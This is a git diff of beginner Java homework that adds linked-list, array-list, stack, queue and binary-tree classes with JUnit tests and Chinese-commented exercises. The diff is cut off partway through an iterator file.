+package com.coding.basic;
+
+public class BinaryTreeNode {
+
+    private Object data;
+    private BinaryTreeNode left;
+    private BinaryTreeNode right;
+    private BinaryTreeNode parent;
+
+    public BinaryTreeNode(Object data) {
+        this.data = data;
+    }
+
+    public Object getData() {
+        return data;
+    }
+
+    public void setData(Object data) {
+        this.data = data;
+    }
+
+    public BinaryTreeNode getLeft() {
+        return left;
+    }
+
+    public void setLeft(BinaryTreeNode left) {
+        this.left = left;
+    }
+
+    public BinaryTreeNode getRight() {
+        return right;
+    }
+
+    public void setRight(BinaryTreeNode right) {
+        this.right = right;
+    }
+
+    public void setParent(BinaryTreeNode parent) {
+        this.parent = parent;
+    }
+
+    public BinaryTreeNode getParent() {
+        return parent;
+    }
+
+    public BinaryTreeNode insert(Object o) {
+        BinaryTreeNode newNode = new BinaryTreeNode(o);
+        BinaryTreeNode root = findRoot(this);
+        if (root.data == null) {
+            root.data = newNode;
+        } else {
+            int newVal = getNodeIntVal(newNode);
+            insert(root, newNode, newVal);
+        }
+        return newNode;
+    }
+
+    private void insert(BinaryTreeNode node, BinaryTreeNode newNode, int newVal) {
+        int nodeVal = getNodeIntVal(node);
+        if (newVal < nodeVal) {
+            if (node.left == null) {
+                newNode.parent = node;
+                node.left = newNode;
+            } else {
+                insert(node.left, newNode, newVal);
+            }
+        } else {
+            if (node.right == null) {
+                newNode.parent = node;
+                node.right = newNode;
+            } else {
+                insert(node.right, newNode, newVal);
+            }
+        }
+    }
+
+    private BinaryTreeNode findRoot(BinaryTreeNode binaryTreeNode) {
+        while (binaryTreeNode.parent != null) {
+            binaryTreeNode = binaryTreeNode.parent;
+        }
+        return binaryTreeNode;
+    }
+
+    private int getNodeIntVal(BinaryTreeNode node) {
+        if (node.data instanceof Integer) {
+            return ((Integer) node.data).intValue();
+        }
+        return 0;
+    }
+
+    public int getDataIntVal() {
+        if (data instanceof Integer) {
+            return ((Integer) data).intValue();
+        }
+        return 0;
+    }
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Iterator.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..96adcd6d3a
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coding/basic/Iterator.java
@@ -0,0 +1,8 @@
+package com.coding.basic;
+
+public interface Iterator {
+    public boolean hasNext();
+
+    public Object next();
+
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
new file mode 100644
index 0000000000..eb41670f82
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
@@ -0,0 +1,399 @@
+package com.coding.basic;
+
+
+import java.util.NoSuchElementException;
+
+public class LinkedList implements List {
+
+    private Node head;
+    private int size;
+
+    public void add(Object o) {
+        Node newNode = new Node(o, null);
+        if (head == null) {
+            head = newNode;
+        } else {
+            Node tmp = head;
+            while (tmp.next != null) {
+                tmp = tmp.next;
+            }
+            tmp.next = newNode;
+        }
+        size++;
+    }
+
+    public void add(int index, Object o) {
+        checkMinBound(index);
+        checkMaxBound(index, size);
+        Node newNode = new Node(o, null);
+        if (index == 0) {
+            newNode.next = head;
+            head = newNode;
+        } else {
+            int pos = 1;
+            Node tmp = head;
+            while (pos != index) {
+                tmp = tmp.next;
+                pos++;
+            }
+            newNode.next = tmp.next;
+            tmp.next = newNode;
+        }
+        size++;
+
+    }
+
+    private void checkMinBound(int index) {
+        if (index < 0) {
+            throw new IllegalArgumentException();
+        }
+    }
+
+    private void checkMaxBound(int index, int max) {
+        if (index > max) {
+            throw new IndexOutOfBoundsException();
+        }
+    }
+
+
+    public Object get(int index) {
+        checkMinBound(index);
+        checkMaxBound(index, size - 1);
+        Node cur = head;
+        if (index != 0) {
+            int pos = 0;
+            do {
+                cur = cur.next;
+                pos++;
+            } while (pos != index);
+        }
+        return cur.data;
+    }
+
+    public Object remove(int index) {
+        checkMinBound(index);
+        checkMaxBound(index, size - 1);
+        Node cur = head;
+        if (index == 0) {
+            head = cur.next;
+        } else {
+            int pos = 1;
+            Node prev = cur;
+            while (pos != index) {
+                prev = prev.next;
+                pos++;
+            }
+            cur = prev.next;
+            prev.next = cur.next;
+        }
+        size--;
+        return cur.data;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    public void addFirst(Object o) {
+        Node newNode = new Node(o, null);
+        newNode.next = head;
+        head = newNode;
+        size++;
+    }
+
+    public void addLast(Object o) {
+        Node newNode = new Node(o, null);
+        if (head == null) {
+            head = newNode;
+        } else {
+            Node tmp = head;
+            while (tmp.next != null) {
+                tmp = tmp.next;
+            }
+            tmp.next = newNode;
+        }
+        size++;
+    }
+
+    public Object removeFirst() {
+        if (head == null) {
+            throw new NoSuchElementException();
+        }
+        Node ret = head;
+        head = head.next;
+        size--;
+        return ret.data;
+    }
+
+    public Object removeLast() {
+        if (head == null) {
+            throw new NoSuchElementException();
+        }
+        Node ret;
+        if (head.next == null) {
+            ret = head;
+            head = null;
+        } else {
+            Node prev = head;
+            ret = head.next;
+            while (ret.next != null) {
+                prev = ret;
+                ret = ret.next;
+            }
+            prev.next = null;
+        }
+        size--;
+        return ret.data;
+    }
+
+    public Iterator iterator() {
+        return null;
+    }
+
+
+    private static class Node {
+        Object data;
+        Node next;
+
+        public Node(Object data, Node next) {
+            this.data = data;
+            this.next = next;
+        }
+
+    }
+
+    /**
+     * 把该链表逆置
+     * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+     */
+    public void reverse() {
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	Node node = head;
+    	Node nextNode = head.next;
+    	Node tmp;
+    	node.next = null;
+    	do{
+    		tmp = nextNode.next;
+    		nextNode.next = node;
+    		node = nextNode;
+    		nextNode = tmp;
+    	}while(nextNode != null);
+    	head = node;
+    }
+
+    /**
+     * 删除一个单链表的前半部分
+     * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+     * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+     */
+    public void removeFirstHalf() {
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	int num = size / 2;
+    	size -= num;
+    	Node node = head;
+    	while(num > 0){
+    		node = node.next;
+    		num--;
+    	}
+    	head = node;
+    }
+    
+    /**
+     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+     *
+     * @param i
+     * @param length
+     */
+    public void remove(int i, int length) {
+    	checkMinBound(i);
+    	checkMaxBound(i + length, size);
+    	Node prev = null;
+    	Node node = head;
+    	int index = 0;
+    	while(index < i){
+    		prev = node;
+    		node = node.next;
+    		index++;
+    	}
+    	Node nextNode = node.next;
+    	while(index < (i + length - 1)){
+    		nextNode = nextNode.next;
+    		index++;
+    	}
+    	size -= length;
+    	if(i == 0){
+    		head = nextNode;
+    	}else{
+    		prev.next = nextNode;
+    		head = prev;
+    	}
+    }
+
+    /**
+     * 假定当前链表和list均包含已升序排列的整数
+     * 从当前链表中取出那些list所指定的元素
+     * 例如当前链表 = 11->101->201->301->401->501->601->701
+     * listB = 1->3->4->6
+     * 返回的结果应该是[101,301,401,601]
+     *
+     * @param list
+     */
+    public int[] getElements(LinkedList list) {
+    	int[] ret = new int[list.size()];
+    	if(ret.length == 0){
+    		return ret;
+    	}
+    	int index;
+    	int j = 0;
+    	Node node = head;
+    	for(int i=0;i<list.size();i++){
+    		index = (int)list.get(i);
+    		while(j < index){
+    			node = node.next;
+    			if(node == null){
+    				throw new IndexOutOfBoundsException();
+    			}
+    			j++;
+    		}
+    		ret[i] = (int)node.data;
+    	}
+    	return ret;
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 从当前链表中中删除在list中出现的元素
+     *
+     * @param list
+     */
+
+    public void subtract(LinkedList list) {
+    	if(size == 0){
+    		return ;
+    	}
+    	Node prev = null;
+    	Node node = head;
+    	int data;
+    	for(int i=0;i<list.size();i++){
+    		data = (int)list.get(i);
+    		do{
+    			if(data == (int)node.data){
+    				if(prev == null){
+    					head = node.next;
+    				}else{
+    					prev.next = node.next;
+    				}
+    				size--;
+    				node = node.next;
+    				break;
+    			}
+    			prev = node;
+    		}while((node = node.next) != null);
+    	}
+    }
+
+    /**
+     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+     */
+    public void removeDuplicateValues() {
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	Node node = head;
+    	Node next = node.next;
+    	do{
+    		if((int)node.data == (int)next.data){
+    			node.next = next.next;
+    			size--;
+    		}else{
+    			node = node.next;
+    		}
+    		next = next.next;
+    	}while(next != null);
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+     *
+     * @param min
+     * @param max
+     */
+    public void removeRange(int min, int max) {
+    	Node prev = null;
+    	Node node = head;
+    	boolean foundMin = false;
+    	do{
+    		if(!foundMin && (int)node.data > min){
+    			foundMin = true;
+    		}
+    		if(foundMin && (int)node.data > max){
+    			break;
+    		}
+    		if(foundMin == false){
+    			prev = node;
+    		}else{
+    			size -= 1;
+    		}
+    		node = node.next;
+    	}while(node != null);
+    	if(prev == null){
+    		head = node;
+    	}else{
+    		prev.next = node;
+    	}
+    }
+
+    /**
+     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+     *
+     * @param list
+     */
+    public LinkedList intersection(LinkedList list) {
+    	LinkedList ret = new LinkedList();
+    	Node node = head;
+    	int nodeValue;
+    	int elementValue;
+    	for(int i=0;i<list.size();i++){
+    		nodeValue = (int)node.data;
+    		elementValue = (int)list.get(i);
+    		if(nodeValue == elementValue){
+    			ret.add(nodeValue);
+    		}else if(nodeValue < elementValue){
+    			node = node.next;
+    			while(node != null){
+    				nodeValue = (int)node.data;
+    				if(nodeValue == elementValue){
+    					ret.add(nodeValue);
+    					node = node.next;
+    					break;
+    				}else if(nodeValue > elementValue){
+    					break;
+    				}
+    				node = node.next;
+    			}
+    		}
+    	}
+        return ret;
+    }
+    
+    public String toString(){
+    	Node node = head;
+    	StringBuilder sb = new StringBuilder();
+    	if(node == null){
+    		return "";
+    	}else{
+    		sb.append(head.data);
+    		while((node = node.next) != null){
+    			sb.append(",").append(node.data);
+    		}
+    		return sb.toString();
+    	}
+    }
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/List.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..01398944e6
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coding/basic/List.java
@@ -0,0 +1,13 @@
+package com.coding.basic;
+
+public interface List {
+    public void add(Object o);
+
+    public void add(int index, Object o);
+
+    public Object get(int index);
+
+    public Object remove(int index);
+
+    public int size();
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java
new file mode 100644
index 0000000000..bb24e2132e
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java
@@ -0,0 +1,22 @@
+package com.coding.basic;
+
+public class Queue {
+
+    private LinkedList linkedList = new LinkedList();
+
+    public void enQueue(Object o) {
+        linkedList.add(o);
+    }
+
+    public Object deQueue() {
+        return linkedList.removeFirst();
+    }
+
+    public boolean isEmpty() {
+        return linkedList.size() == 0;
+    }
+
+    public int size() {
+        return linkedList.size();
+    }
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java b/group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java
new file mode 100644
index 0000000000..55c96985a9
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java
@@ -0,0 +1,35 @@
+package com.coding.basic;
+
+import java.util.EmptyStackException;
+
+public class Stack {
+    private ArrayList elementData = new ArrayList();
+
+    public void push(Object o) {
+        elementData.add(o);
+    }
+
+    public Object pop() {
+        checkBound();
+        return elementData.get(size() - 1);
+    }
+
+    public Object peek() {
+        checkBound();
+        return elementData.remove(size() - 1);
+    }
+
+    public boolean isEmpty() {
+        return size() == 0;
+    }
+
+    public int size() {
+        return elementData.size();
+    }
+
+    private void checkBound() {
+        if (isEmpty()) {
+            throw new EmptyStackException();
+        }
+    }
+}
diff --git a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestArrayList.java b/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestArrayList.java
new file mode 100644
index 0000000000..61562d2a39
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestArrayList.java
@@ -0,0 +1,60 @@
+package test.com.coding.basic;
+
+import com.coding.basic.ArrayList;
+import org.junit.Assert;
+import org.junit.Test;
+
+public class TestArrayList {
+
+    @Test
+    public void testAdd() {
+        ArrayList list = new ArrayList();
+        int i = 0;
+        for (; i < 1000; i++) {
+            list.add(new Object());
+        }
+        Assert.assertTrue(list.size() == i);
+    }
+
+    @Test
+    public void testGet() {
+        ArrayList list = new ArrayList();
+        int i = 0;
+        for (; i < 10; i++) {
+            list.add(new Object());
+        }
+        Assert.assertFalse(list.get(5) == null);
+        try {
+            list.get(10);
+            Assert.assertTrue(false);
+        } catch (IndexOutOfBoundsException e) {
+            Assert.assertTrue(true);
+        }
+    }
+
+    @Test
+    public void testAddWithIndex() {
+        ArrayList list = new ArrayList();
+        int i = 0;
+        for (; i < 10; i++) {
+            list.add(new Object());
+        }
+        Object obj = list.get(5);
+        list.add(5, new Object());
+        Assert.assertTrue(list.size() == (i + 1));
+        Assert.assertTrue(obj == list.get(6));
+    }
+
+    @Test
+    public void testRemove() {
+        ArrayList list = new ArrayList();
+        int i = 0;
+        for (; i < 10; i++) {
+            list.add(i);
+        }
+        Object tempObj = list.get(5);
+        Assert.assertTrue(tempObj == list.remove(5));
+        Assert.assertTrue(list.size() == (i - 1));
+        Assert.assertTrue((int) list.get(list.size() - 1) == (i - 1));
+    }
+}
diff --git a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestBinaryTreeNode.java b/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestBinaryTreeNode.java
new file mode 100644
index 0000000000..a137ceffb8
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestBinaryTreeNode.java
@@ -0,0 +1,37 @@
+package test.com.coding.basic;
+
+import com.coding.basic.BinaryTreeNode;
+import org.junit.Test;
+
+public class TestBinaryTreeNode {
+
+    @Test
+    public void testInsert() {
+        BinaryTreeNode binaryTree = new BinaryTreeNode(5);
+        binaryTree.insert(2);
+        binaryTree.insert(7);
+        binaryTree.insert(1);
+        binaryTree.insert(6);
+
+        printNode(binaryTree);
+
+        binaryTree.insert(4);
+        binaryTree.insert(8);
+
+        System.out.println("*************************");
+        printNode(binaryTree);
+    }
+
+    private void printNode(BinaryTreeNode node) {
+        System.out.print("node's data is " + node.getDataIntVal());
+        System.out.println("   ,node's parent' data is " + (node.getParent() == null ? "null" : node.getParent().getDataIntVal()));
+        if (node.getLeft() != null) {
+            System.out.println("find left child node.");
+            printNode(node.getLeft());
+        }
+        if (node.getRight() != null) {
+            System.out.println("find right child node.");
+            printNode(node.getRight());
+        }
+    }
+}
diff --git a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java b/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java
new file mode 100644
index 0000000000..39b41c1317
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java
@@ -0,0 +1,176 @@
+package test.com.coding.basic;
+
+import static org.junit.Assert.*;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.coding.basic.LinkedList;
+
+public class TestLinkedList {
+	
+	@Test
+	public void testReverse(){
+		LinkedList list = new LinkedList();
+		list.add(3);
+		list.add(7);
+		list.add(10);
+		list.reverse();
+		Assert.assertEquals("10,7,3", list.toString());
+		Assert.assertEquals("10", list.get(0).toString());
+	}
+	
+	@Test
+	public void testRemoveFirstHalf(){
+		LinkedList list = new LinkedList();
+		list.add(3);
+		list.add(7);
+		list.add(10);
+		list.add(12);
+		list.add(15);
+		list.removeFirstHalf();
+		Assert.assertEquals("10", list.get(0).toString());
+		Assert.assertEquals("10,12,15", list.toString());
+		Assert.assertEquals(3, list.size());
+	}
+	
+	@Test
+	public void testRemoveByLength(){
+		LinkedList list = new LinkedList();
+		list.add(3);
+		list.add(7);
+		list.add(10);
+		list.add(12);
+		list.add(15);
+		list.remove(0, 2);
+		Assert.assertEquals("10", list.get(0).toString());
+		Assert.assertEquals("10,12,15", list.toString());
+		Assert.assertEquals(3, list.size());
+		
+		list.remove(1, 1);
+		Assert.assertEquals("10", list.get(0).toString());
+		Assert.assertEquals("10,15", list.toString());
+		Assert.assertEquals(2, list.size());
+	}
+	
+	@Test
+	public void testGetElements(){
+		LinkedList list = new LinkedList();
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		
+		LinkedList indices = new LinkedList();
+		indices.add(1);
+		indices.add(3);
+		indices.add(4);
+		indices.add(6);
+		int[] elements = list.getElements(indices);
+		StringBuilder sb = new StringBuilder();
+		for(int i=0;i<elements.length;i++){
+			sb.append(elements[i]).append(",");
+		}
+		String elementsStr = sb.length() == 0?"" : sb.substring(0, sb.length() - 1);
+		Assert.assertEquals("1,3,4,6", elementsStr);
+		try{
+			indices.add(7);
+			list.getElements(indices);
+			fail("下标越界，没抛出异常");
+		}catch(IndexOutOfBoundsException e){
+			
+		}
+	}
+	
+	@Test
+	public void testSubtract(){
+		LinkedList list = new LinkedList();
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		
+		LinkedList indices = new LinkedList();
+		indices.add(1);
+		indices.add(3);
+		indices.add(4);
+		indices.add(6);
+		
+		list.subtract(indices);
+		Assert.assertEquals("0,2,5", list.toString());
+		Assert.assertEquals(3, list.size());
+	}
+	
+	@Test
+	public void testRemoveDuplicateValues(){
+		LinkedList list = new LinkedList();
+		list.add(0);
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(4);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		list.add(6);
+		list.removeDuplicateValues();
+		Assert.assertEquals("0,1,2,3,4,5,6", list.toString());
+		Assert.assertEquals(7, list.size());
+	}
+	
+	@Test
+	public void testRemoveRange(){
+		LinkedList list = new LinkedList();
+		for(int i=0;i<10000;i++){
+			list.add(i);
+		}
+		list.removeRange(200, 900);//0-200=201,901-9999=9099
+		
+//		Assert.assertEquals("0,1,2,3,6", list.toString());
+		Assert.assertEquals(9300, list.size());
+	}
+	
+	@Test
+	public void testRemoveRange1(){
+		LinkedList list = new LinkedList();
+		for(int i=0;i<10000;i++){
+			list.add(i);
+		}
+//		list.removeRange(200, 900);//0-200=201,901-9999=9099
+		for(int i=201;i<901;i++){
+			list.remove(i);
+		}
+		
+		Assert.assertEquals(9300, list.size());
+	}
+	
+	@Test
+	public void testIntersection(){
+		LinkedList list1 = new LinkedList();
+		list1.add(0);
+		list1.add(1);
+		list1.add(2);
+		list1.add(3);
+		list1.add(5);
+		list1.add(6);
+		
+		LinkedList list2 = new LinkedList();
+		list2.add(1);
+		list2.add(2);
+		list2.add(4);
+		list2.add(5);
+		
+		LinkedList list3 = list1.intersection(list2);
+		
+		Assert.assertEquals("1,2,5", list3.toString());
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java
new file mode 100644
index 0000000000..2567132d2a
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java
@@ -0,0 +1,83 @@
+package com.skomefen.list;
+
+public class ArrayList implements List {
+
+	
+	private int size = 0;
+		
+	private Object[] elementData = new Object[100];
+	
+	private Iterator iterator ;
+	
+	public void add(Object o){
+		
+		if(size<elementData.length){
+			elementData[size]=o;
+			size++;
+			return;
+		}
+		Object[] dest = new Object[size+100];
+		insertofArray(size, o, dest);
+		size++;
+	}
+	public void add(int index, Object o){
+		
+		if(index>size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		
+		if(size<elementData.length){
+			Object[] dest = new Object[elementData.length];
+			insertofArray(index, o, dest);
+			size++;
+			return;
+		}
+		Object[] dest = new Object[size+100];
+		insertofArray(index, o, dest);
+		size++;
+	}
+	private void insertofArray(int index, Object o, Object[] dest) {
+		dest[index]=o;
+		System.arraycopy(elementData, 0, dest, 0, index);
+		if((elementData.length-index)!=0){	
+			System.arraycopy(elementData, index, dest, index+1, elementData.length-1-index);
+			if(elementData[elementData.length-1]!=null){
+				dest[elementData.length]=elementData[elementData.length-1];
+			}
+		}
+		
+		elementData = dest;
+	}
+	
+	public Object get(int index){
+		if(index>size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		
+		return elementData[index];
+		
+	}
+	
+	public Object remove(int index){
+		if(index>size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}	
+		Object revalue = elementData[index];
+		Object[] dest = new Object[elementData.length];
+		System.arraycopy(elementData, 0, dest, 0, index);
+		System.arraycopy(elementData, index+1, dest, index, elementData.length-1-index);
+		elementData = dest;
+		size--;
+		return revalue;
+	}
+	
+	public int size(){
+		return size;
+	}
+	
+	public Iterator iterator(){
+		iterator = new ArrayListIterator(this);
+		return iterator;
+	}
+	
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java
new file mode 100644
index 0000000000..345d620c0e
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java
@@ -0,0 +1,25 @@
+package com.skomefen.list;
+
+public class ArrayListIterator implements Iterator {
+	private ArrayList array = null;
+	private int index = 0;
+	public ArrayListIterator(ArrayList array) {
+		this.array = array;
+	}
+	public boolean hasNext() {
+		if(array==null){
+			return false;
+		}
+		if(index<array.size()){
+			return true;
+		}
+		return false;
+	}
+
+	public Object next() {
+	
+		return array.get(index++);
+		
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java
new file mode 100644
index 0000000000..e05e0bdef0
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.skomefen.list;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java
new file mode 100644
index 0000000000..cec536e3b5
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java
@@ -0,0 +1,7 @@
+package com.skomefen.list;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java
new file mode 100644
index 0000000000..f54d896e20
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java
@@ -0,0 +1,252 @@
+package com.skomefen.list;
+
+
+public class LinkedList implements List {
+	private int size = 0;
+	private Node head;
+	private Node node;
+	private int point = 0;
+	private LinkedListiterator iterator;
+
+	public void add(Object o){
+		insertoflist(size, o);
+	}
+	
+	public void add(int index , Object o){
+		if(index>size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		insertoflist(index, o);
+		
+		
+	}
+	public Object get(int index){
+		if(index>=size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		if(head==null){
+			return null;
+		}
+		if(index==point){
+			return node.data;
+		}
+		this.point=0;
+		node = head;
+		while(index>=this.point){
+			
+			if(index==point){
+				return node.data;
+			}
+			point++;
+			node = node.next;
+		}
+		return null;
+	}
+	public Object remove(int index){
+		if(index>=size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		size--;
+		if(index==(this.point+1)){
+			Object o =node.next.data;
+			node.next = node.next.next;
+			return o;
+		}
+		this.point = 0;
+		if(index==0){
+			head = head.next;
+			Object o =head.data;
+			node = head;
+			return o;
+		}
+		
+		Object o = null;
+		while(index<=(this.point+1)){
+			if(index==(this.point+1)){
+				o =node.next.data;
+				node.next = node.next.next;
+				
+			}
+			point++;
+			node = node.next;
+		}
+		return o;
+	}
+	
+	public int size(){
+		
+		return size;
+	}
+	
+	public void addFirst(Object o){
+		add(0,o);
+	}
+	public void addLast(Object o){
+		add(size,o);
+	}
+	public Object removeFirst(){
+		if(head==null){
+			return null;
+		}
+		remove(0);
+		return null;
+	}
+	public Object removeLast(){
+		if(head==null){
+			return null;
+		}
+		remove(size-1);
+		return null;
+	}
+	public Iterator iterator(){
+		iterator = new LinkedListiterator(this);
+		return iterator;	
+	}
+	
+	
+	private static  class Node{
+		private Object data;
+		private Node next;
+		
+		
+	}
+	
+	private void insertoflist(int index,Object o){
+		
+		if(index>size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		
+		if(head==null){
+			head = new Node();
+			head.data=o;
+			head.next=new Node();
+			size++;
+			node = head;
+			this.point = 0;
+			return;
+		}
+		if(index==(this.point+1)){
+			pointlast(index, o);
+			return;
+		}
+		//head不等于空，先从head顺序往下找
+		this.point = 0;
+		if(index == this.point){
+			Node next = head;
+			head = new Node();
+			head.next = next;
+			head.data = o;
+			node = head;//当前节点为head
+			this.point = index;
+			size++;
+			return;
+		}
+		do{
+			if(index==(this.point+1)){
+				pointlast(index, o);
+				return;
+			}
+			node = node.next;
+			this.point++;
+		}while(index>(this.point+1));
+		
+	}
+
+	private void pointlast(int index, Object o) {
+		if(index==(this.point+1)){
+			if(index==size){//index插入List结尾
+				this.point = this.point+1;
+				node = node.next;
+				node.data=o;
+				node.next = new Node();
+				size++;
+				return;
+			}
+			this.point = this.point+1;
+			Node next = node.next;//从上一个node获取下一个node
+			node.next = new Node();//上一个节点指向新建节点
+			node = node.next;//获取新建节点
+			node.data=o;//新建节点获取值
+			node.next = next;//新建节点指向下一个节点
+			size++;
+			return;
+		}
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java
new file mode 100644
index 0000000000..c04de32a93
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java
@@ -0,0 +1,25 @@
+package com.skomefen.list;
+
+public class LinkedListiterator implements Iterator {
+
+	private LinkedList link = null;
